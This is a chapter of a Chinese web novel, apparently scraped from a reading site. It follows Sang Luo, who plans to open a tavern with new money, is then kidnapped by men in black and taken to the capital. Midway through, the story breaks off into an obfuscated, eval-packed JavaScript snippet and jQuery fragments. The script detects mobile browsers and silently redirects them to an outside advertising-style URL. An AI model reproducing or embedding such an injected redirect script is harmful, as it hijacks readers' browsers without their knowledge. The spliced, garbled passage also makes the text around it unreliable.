37. 君子台

作品:《长安某

    桑落捏着那一千两的银票,宛若捏着一块坚冰。


    这么多的钱,洛长安是哪里来的呢?靠卖那个玉佩,换了这么多的钱吗?


    桑落不敢相信这一切,可是街坊众人都看的十分真切。


    一个酒坛子里都能摔出银票来,可见桑落是真的变有钱了。


    保不齐,那个京城当官的夫婿也是真的。


    桑落从前何其轻贱的人,邻居们都不屑和她来往。没想到如今摇身一变,倒成了他们这条街最有钱的主了。


    真是叫人咽不下这口气,


    众人围着桑落议论纷纷,邱哥眼疾手快,甩开他爹的手。


    邱哥挥挥手,边疏散人群边说道“大家都散了吧,没什么好看的,散了吧。”


    看热闹的邻居没看到想看的好戏,反而目睹了桑落变成小富翁这种让人气愤的事情。全都拉着脸走了。


    王媒婆看见桑落摔了东西,又变得如此有钱,生怕桑落找她麻烦,也甩甩袖子走了。


    邱哥趁着人都走了,走到桑落身边的时候,她还在喃喃自语。


    “别难过了,桑落。把东西扫了吧。”邱哥殷切的提醒道。


    桑落收起那张银票,从店里拿出了扫帚和簸箕。


    邱哥正在帮她收拾,脸上看上去倒是很高兴。“说真的,桑落,咱们从小一起长大,看到你的生活终于变好了,我挺开心的。”


    桑落收拾着地上的碎片,木讷的回答着邱哥的问题。


    “谢谢你,邱哥。”


    邱哥喜不自胜,仿佛是自己的大好事要到了,他看着蹲在地上的桑落问道“对了,你同那位公子,几时成婚啊?”


    桑落的手刚刚触碰到碎片,手被戳了一下,她回过神来,低声道“我不知道。”


    她不知道,不知道洛长安什么时候会回来,也不知道他们会不会成婚。


    这几日的功夫,快马加鞭,想必洛长安已经回了京城了吧。


    邱哥看见桑落的手破了,连忙从怀里掏出手帕,缠住桑落的指尖。“哎呀,流血了,你快回去休息,我来弄就好。”


    “谢谢你啊,邱哥。等会儿我请你喝酒吧。”桑落不好意思的说。


    不知怎的,她这几日总是有些心不在焉,吃饭也没什么食欲,总是砸坏东西。


    还好没有酒肆也没有开门,不然客人都要被吓跑。


    “无事啊,你不用同我客气。”邱哥将碎片都收集到簸箕里,回过头冲桑落一脸憨厚的笑。


    桑落看着洛长安留下来的银票,再看着自己的小店,突然下定了决心。


    反正现在有了充足的银子,她要把这家店关了,把新的酒楼,开到云水街上去。


    她这么多年的积蓄加上谢府那次剩下来的钱,差不多有五百两了。


    再加上洛长安留下来的一千两银票,应该能租一个很不错的铺子。


    虽然比不上像望月楼那样显赫,租不到那么好的地段,但是像洛长安同她践行那一日的酒楼。


    一切还是绰绰有余的。


    桑落下定了决心,眼神也不再似从前那般空洞了。


    人一旦有了目标,就有了动力。


    桑落说干就干,当天就出发去云水街上找铺子。


    这条街上向来是最热闹的,来歇脚的商贾络绎不绝。


    那些个酒楼,食肆的生意也是一家比一家红火。


    望月楼和胡记这样的酒楼名声在外,客人就座尚且需要预约,其它剩下的小门小户瓜分其余的客源。


    眼下,虽然租房子的银钱是不差了,但是酒楼的选址和客源都需要好好考量。


    一日下来,桑落脚都快要走断了,也没找出个所以然来。


    云水街要出售的铺子本就不多,桑落手里的银钱也是有数的,想来想去,总是不敢轻易下决定。


    就这样比对了整整一天一夜,桑落终于从几个铺面中筛选出了两个不错的。


    其中一家位置不错,处于云水街最热闹的地段。


    要是桑落的酒楼开在这里,就不用担心客源和太过偏僻。


    只是唯一不妙的就是,这家铺子的地段好,自然价钱也高居不下,年租高达九百两。而且还有致命的一点,这家铺子,距离大名鼎鼎的望月楼和胡记都很近。


    桑落粗粗的算了下,她要是酒楼开在这里,一年下来,要是客流量不稳定,回不了本的话,很有可能血本无归。


    新店开张尚且要估计许多,更别提在胡记和望月楼的夹击下,该如何生存。


    至于另外一个地方,地段则比较偏僻,人流量也相对没有那么集中,年租只需五百两。


    周围都是些卖花卉,开包子铺的小店。


    桑落的酒楼要是开在这里,来喝酒的则更多的是些普通百姓,以及过路歇脚的客人。


    一口不能吃个大胖子。


    桑落不贪心,决定就先把酒楼定在这里。


    先做好小生意,然后慢慢的往云水街的深处扎进去。


    桑落相信,总有一天,她能开一个像望月楼一样显赫的大酒楼。


    拨弄了一天的算盘,桑落浑身腰酸背痛的合上写的密密麻麻的的账本。


    她下定了决心,明天就去跟那家云水街东边铺子的房东谈定金。


    桑落舒服的撑了个懒腰,正打算给自己煮碗面,抬眼就看见几个不速之客。


    七八个黑衣人迎面而来,他们的身姿挺拔,腰间挂着长刀,眼神凶戾。


    桑落惊觉不妙,可是那群人守着门口。她无处可退,只能壮着胆子硬撑着。


    领头的那个黑衣人个头稍微高些,他拔出长刀横在柜台上,刚进门就给了桑落一个下马威。


    黑衣人从怀里掏出一幅画像,甩在桑落面前,质问道“你有没有见过这个人?”


    画上的人五官锋利,眼角内敛,眼神凶戾,长相是说不出的薄凉。


    桑落看着那张熟悉的脸,摇摇头。


    “不认识。”


    黑衣人怒了,单手将那张画撕得粉碎,怒喝道“你敢说你没见过林长安?”


    桑落抱着算盘,吓得后退几步,弱弱的说“他不是姓洛吗?”


    黑衣人奸计得逞,低笑两声。“你不是没见过他吗?”


    桑落“……”


    她太大意了,别人一晃就被绕了进去。


    “我我我,我瞎猜的。”桑落控制不住的结巴。


    “哦?”那领头的黑衣人收了放在柜台的大刀,往前两步扯住桑落的衣领,轻而易举将她提了起来。


    “那你再猜猜,是谁要见你?”


    桑落衣裳被人扯着,她手里的算盘掉落在地,发出‘啪’的一声,算盘被摔成了两半,上面的珠子散落一地。


    “我猜不到。”桑落诚实的说。


    桑落不光猜不到,甚至有几分埋怨,她好不容易要过上理想的生活,开店当小富婆了。


    万万没想到,半路杀出一群黑衣人。


    那黑衣人几乎要撕破她的衣服,他压低了声音说道“我可以提醒你一下,是皇城里的人要见你。”


    桑落一个普通老百姓,每天的生活简单忙碌,两个月之前,她的温饱都成问题。


    她从来没有想过,这辈子会和皇城扯上关系。


    “是……是圣上吗?”桑落一边将自己的衣领往外扯,一边低声问道。


    谁知那黑衣人的力气更大了些“错了。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15031815|160596||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他开始哈哈大笑,而后邪恶的对桑落说“是比圣上更厉害的人。”


    普天之下,还有比圣上更加厉害的人吗?


    桑落实在想不到。


    那领头的黑衣人耗尽了耐心,对着桑落的腿弯狠狠的踹了一脚,然后给手下人使了个眼色。


    “绑走。”


    桑落吃痛的跪在了木地板上。


    不一会儿,马上有人过来绑住了她的手脚,还往她的嘴里塞了一团布。


    他们抬起她的身体离开了酒肆,把她扔进了一个马车里。


    这几个黑衣人骑着马,其中一个赶着马车,朝着京城的方向快马加鞭,恨不得日行千里。


    桑落的手脚都被束缚着,整个人以一种奇怪的形状被扔在马车里。


    她又闷又热,被颠得五脏六腑都快要跳出来了。


    这些黑衣人和马都是经过特殊训练的,体力超出常人,他们日夜兼程,居然真的两天就到了京城。


    他们倒是无恙,只是苦了桑落,被马车颠得险些丢了性命。


    路途中,他们怕她死了不好交差,倒是也会过来给她喂点吃的。只是马车太过颠簸,桑落实在没有什么食欲。


    好在,终于到了京城。


    桑落曾经对京城有过无数次的幻想,天子脚下,宫殿辉煌,红墙巍峨。


    这里的每一条街道都比云水街还要热闹上许多,寻常百姓的穿着也比青州城的要好。


    只是桑落浑身被束缚住,又掩住了口鼻,呼吸尚且困难,来不及好好欣赏这座巍峨的皇城。


    到了京城,这些黑衣人明显懈怠了下来。


    桑落被关在马车里,却也能听见一两句他们的谈话。


    “没找到洛长安,国师岂不是要杀了我们。”


    “那可是洛长安,就算我们见到了,难道就能抓住了吗?”


    “算了算了,我们都是没有家的人,难道还怕死吗?”


    “话是这么说,也不能白白就这么送了命啊。”


    “前面是君子台[1],要不,喝几杯再走?”有人提议道。


    “走走走。”这群黑衣人一回了家就懈怠了下来,把桑落押到京城,他们的担忧比桑落还要多。


    君子台,洛长安说过的君子台。


    桑落忍不住从小窗里探出头去看,君子台高耸入云,楼内传来阵阵好听的弦乐,舞女们行动扶风,撩拨起阵阵酒香。


    真是人间天堂。


    与君子台一比较,楼下摆摊的小贩宛若蝼蚁。


    那些黑衣人正要进去取乐,突然看见桑落在马车里挣扎。


    “她怎么办?”有个蒙面的黑衣人问道。


    “带上,总比什么也没抓到强。”领头的黑衣人说道。


    就这样,桑落第被人从马车上拎下来,双脚踏到了京城的路。


    这几个黑衣人在那里喝酒取乐,桑落被扔在窗边受苦。


    这些人不再给她饭吃,她饿的头晕眼花,连京城的繁华都懒得看了。


    就在桑落快要昏厥过去的时候,两个人骑着快马,穿过面前的马路。


    马车上的人一身紫袍被风扬起,马蹄溅的飞尘四起,好不潇洒。


    尽管只是匆匆一样,桑落还是认出来,这是洛长安。


    他们在青州买的马比不上董怀的马那样精良,所以出发的早,但却是和他们同时抵达的。


    桑落控住不住的开始喊他的名字,可是嘴里塞了一团布,她只能发出“呜呜”的声音。


    这样微弱的声音没有唤来任何人,桑落看着洛长安从她面前快马经过。


    她的眼泪几乎要渗出眼角。


    [1].君子台,源自网络